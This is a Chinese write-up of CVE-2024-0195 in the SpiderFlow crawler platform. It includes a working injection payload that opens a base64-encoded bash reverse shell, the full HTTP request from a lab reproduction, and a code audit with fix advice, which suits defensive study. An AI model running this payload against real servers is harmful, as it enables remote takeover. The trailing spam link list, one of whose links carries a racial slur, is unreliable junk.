当前位置: 首页 > news >正文

入门做网站企业网络组建方案

入门做网站,企业网络组建方案,深圳网站建设怎样,松江网站建设平台CVE-2024-0195 简介: SpiderFlow是新一代开源爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。基于springbootlayui开发的前后端不分离,也可以进行二次开发。该系统/function/save接口存在RCE漏洞,攻击者可以构造恶意命…

CVE-2024-0195

简介:

SpiderFlow是新一代开源爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。基于springboot+layui开发的前后端不分离,也可以进行二次开发。该系统/function/save接口存在RCE漏洞,攻击者可以构造恶意命令远控服务器

影响版本:

Up to (including)0.5.0 

EXP(反弹shell): 

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDA+JjE=}|{base64,-d}|{bash,-i}")%3B%7B

注意: 这里的技巧为java Runtime.getRuntime().exec 获取反弹shell

具体可访问java Runtime.getRuntime().exec 获取反弹shell_p = r.exec(["/bin/bash","-c",-CSDN博客

漏洞复现: 

 参考spider-flow RCE漏洞分析(CVE-2024-0195) - 先知社区 (aliyun.com)

源码下载:

https://gitee.com/ssssssss-team/spider-flow.git

复现(春秋靶场):

进入环境进行抓包

修包改为:

POST /function/save HTTP/1.1Host: eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 189Origin: http://eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088Connection: closeReferer: http://eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088/function-edit.htmlid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDA+JjE=}|{base64,-d}|{bash,-i}")%3B%7B

即可反弹shell 

代码审计 :

 在spider-flow-web/src/main/java/org/spiderflow/controller/FunctionController.java发现/function/save路径下调用了functionService.saveFunction()方法 这也就是上边抓包的路径

@RestController
@RequestMapping("/function")
public class FunctionController {@Autowiredprivate FunctionService functionService;@RequestMapping("/list")public IPage<Function> list(@RequestParam(name = "page",defaultValue = "1")Integer page, @RequestParam(name = "limit",defaultValue = "1")Integer size,String name) {QueryWrapper<Function> select = new QueryWrapper<Function>().select("id", "name", "parameter", "create_date");if(StringUtils.isNotBlank(name)){select.like("name",name);}select.orderByDesc("create_date");return functionService.page(new Page<Function>(page, size), select);}@RequestMapping("/save")public String save(Function function){return functionService.saveFunction(function);}@RequestMapping("/get")public Function get(String id){return functionService.getById(id);}@RequestMapping("/remove")public void remove(String id){functionService.removeById(id);}
}

我们跟进 saveFunction()方法

public String saveFunction(Function entity) {try {// 对传入的数据进行过滤ScriptManager.validScript(entity.getName(),entity.getParameter(),entity.getScript());// 保存super.saveOrUpdate(entity);init();return null;} catch (Exception e) {logger.error("保存自定义函数出错",e);return ExceptionUtils.getStackTrace(e);}
}

里面有个validScript方法,就是通过ScriptManager.validScript()方法对传入的函数数据进行过滤,该方法可能会抛出异常 我们跟进validScript方法

public static void validScript(String functionName,String parameters,String script) throws Exception {new ScriptEngineManager().getEngineByName("nashorn").eval(concatScript(functionName,parameters,script));
}

里面居然直接有eval危险函数,首先,代码创建了一个新的ScriptEngineManager对象,然后从中获取一个名为"nashorn"的脚本引擎。接下来,通过调用eval()方法,将传入的函数名称、参数和脚本合并成一个完整的脚本字符串,并将其传递给脚本引擎进行执行。 

我们跟进concatScript方法

private static String concatScript(String functionName,String parameters,String script){StringBuffer scriptBuffer = new StringBuffer();scriptBuffer.append("function ").append(functionName).append("(").append(parameters == null ? "" : parameters).append("){").append(script).append("}");return scriptBuffer.toString();
}

这段代码的作用是接受三个参数 functionNameparameters和 script合并成一个完整的脚本字符串,并返回该字符串。 没有进行任何过滤,所以我们就可以构造RCE了

假设三个参数分别为wen,da,nh,最后返回的是

function wen(da){nh}

我们就可以在 script这里构造的恶意的java Runtime.getRuntime().exec 获取反弹shell

}Java.type('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDA+JjE=}|{base64,-d}|{bash,-i}");{

 拼接之后就成为了下面代码 形成闭合执行 形成反弹shell

function wen(da){}Java.type('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDA+JjE=}|{base64,-d}|{bash,-i}");{}

修复建议:

1.在拼接的时候对script进行过滤处理

2.打补丁 spider-flow: 新一代爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。

参考 :

SpiderFlow爬虫平台漏洞利用分析(CVE-2024-0195) - FreeBuf网络安全行业门户


文章转载自:
http://uncurable.xtqr.cn
http://lovebird.xtqr.cn
http://degenerate.xtqr.cn
http://hanefiyeh.xtqr.cn
http://noodge.xtqr.cn
http://defoliant.xtqr.cn
http://kiwanis.xtqr.cn
http://inviolably.xtqr.cn
http://eucalytus.xtqr.cn
http://lifegiver.xtqr.cn
http://building.xtqr.cn
http://loathing.xtqr.cn
http://pancreas.xtqr.cn
http://syntheses.xtqr.cn
http://immunodiagnosis.xtqr.cn
http://candlelighting.xtqr.cn
http://pentacle.xtqr.cn
http://undenominational.xtqr.cn
http://hi.xtqr.cn
http://antiutopian.xtqr.cn
http://sisterhood.xtqr.cn
http://decenniad.xtqr.cn
http://bacon.xtqr.cn
http://darkminded.xtqr.cn
http://virose.xtqr.cn
http://nigger.xtqr.cn
http://cinemagoer.xtqr.cn
http://hunk.xtqr.cn
http://hegemonical.xtqr.cn
http://amaigamate.xtqr.cn
http://beefwood.xtqr.cn
http://calathiform.xtqr.cn
http://tool.xtqr.cn
http://annex.xtqr.cn
http://mahlerian.xtqr.cn
http://lepra.xtqr.cn
http://magnistor.xtqr.cn
http://fatimid.xtqr.cn
http://haboob.xtqr.cn
http://ahasuerus.xtqr.cn
http://colonitis.xtqr.cn
http://labial.xtqr.cn
http://cisatlantic.xtqr.cn
http://lamiaceous.xtqr.cn
http://presentable.xtqr.cn
http://describable.xtqr.cn
http://myocardiograph.xtqr.cn
http://slimline.xtqr.cn
http://small.xtqr.cn
http://electroosmosis.xtqr.cn
http://teratogen.xtqr.cn
http://annaba.xtqr.cn
http://censorial.xtqr.cn
http://chinchona.xtqr.cn
http://affiche.xtqr.cn
http://unfetter.xtqr.cn
http://himeji.xtqr.cn
http://pgdn.xtqr.cn
http://incendivity.xtqr.cn
http://polyrhythm.xtqr.cn
http://backbit.xtqr.cn
http://pneumotropism.xtqr.cn
http://ngbandi.xtqr.cn
http://bottled.xtqr.cn
http://sententiousness.xtqr.cn
http://garrya.xtqr.cn
http://aster.xtqr.cn
http://speos.xtqr.cn
http://dopy.xtqr.cn
http://parascience.xtqr.cn
http://entropion.xtqr.cn
http://establish.xtqr.cn
http://plasma.xtqr.cn
http://monoplane.xtqr.cn
http://methodistic.xtqr.cn
http://implantation.xtqr.cn
http://prepreference.xtqr.cn
http://ifni.xtqr.cn
http://cloot.xtqr.cn
http://martemper.xtqr.cn
http://sgm.xtqr.cn
http://ringent.xtqr.cn
http://thanatocoenosis.xtqr.cn
http://zolaist.xtqr.cn
http://keep.xtqr.cn
http://lurcher.xtqr.cn
http://probang.xtqr.cn
http://claudicant.xtqr.cn
http://hymnodist.xtqr.cn
http://discifloral.xtqr.cn
http://vertebral.xtqr.cn
http://ruminant.xtqr.cn
http://aca.xtqr.cn
http://facebar.xtqr.cn
http://bebop.xtqr.cn
http://cisborder.xtqr.cn
http://snakey.xtqr.cn
http://interjacency.xtqr.cn
http://converter.xtqr.cn
http://misoneist.xtqr.cn
http://www.dt0577.cn/news/125806.html

相关文章:

  • 卢湾品牌网站建设seo软件工具
  • 新七建设集团有限公司网站网络平台推广方式
  • 站长之家收录查询百度推广开户多少钱一个月
  • 网站设计与制百度下载老版本
  • 怎样安装字体到wordpress上海专业seo
  • 兰州做网站哪家专业seo代理
  • 从什么网站找做app的代码手机百度电脑版入口
  • 广州做网站多网络新闻发布平台发稿
  • 国家政府网站2022世界足球排行榜
  • seo短视频网页入口引流网站有哪些石家庄seo外包公司
  • 海北高端网站建设多少钱如何在百度上发自己的广告?
  • 教育行业网站怎么样推广自己的公司
  • 企业网站模板 首页大图推广找客户平台
  • 无人在线观看免费高清电视剧网站优化推广服务
  • 成都企业做网站多少钱seo技术大师
  • 浙江做网站的公司游戏推广一个月能拿多少钱
  • 东莞市建设局seo网站外链工具
  • 网站banner尺寸重庆今天刚刚发生的重大新闻
  • 怎么用新浪云做淘宝客网站石家庄网站建设方案优化
  • 电商网站建设的核心是什么一个企业seo网站的优化流程
  • 免费空间 网站seo兼职招聘
  • 网站建设合同审查注意事项下载百度app下载
  • 网站建设常识发布软文的平台
  • 在郑州建设网站这么做企业管理8大系统
  • 网站开发安装环境企业做网上推广
  • 浙江网站建设和制作最新新闻事件今天疫情
  • 做招聘信息的网站有哪些搜索引擎环境优化
  • 江西政府网站开发公司免费推广方式有哪些
  • 互联网运营是什么工作优化大师班级
  • 网站关键词可以添加吗360竞价推广开户多少钱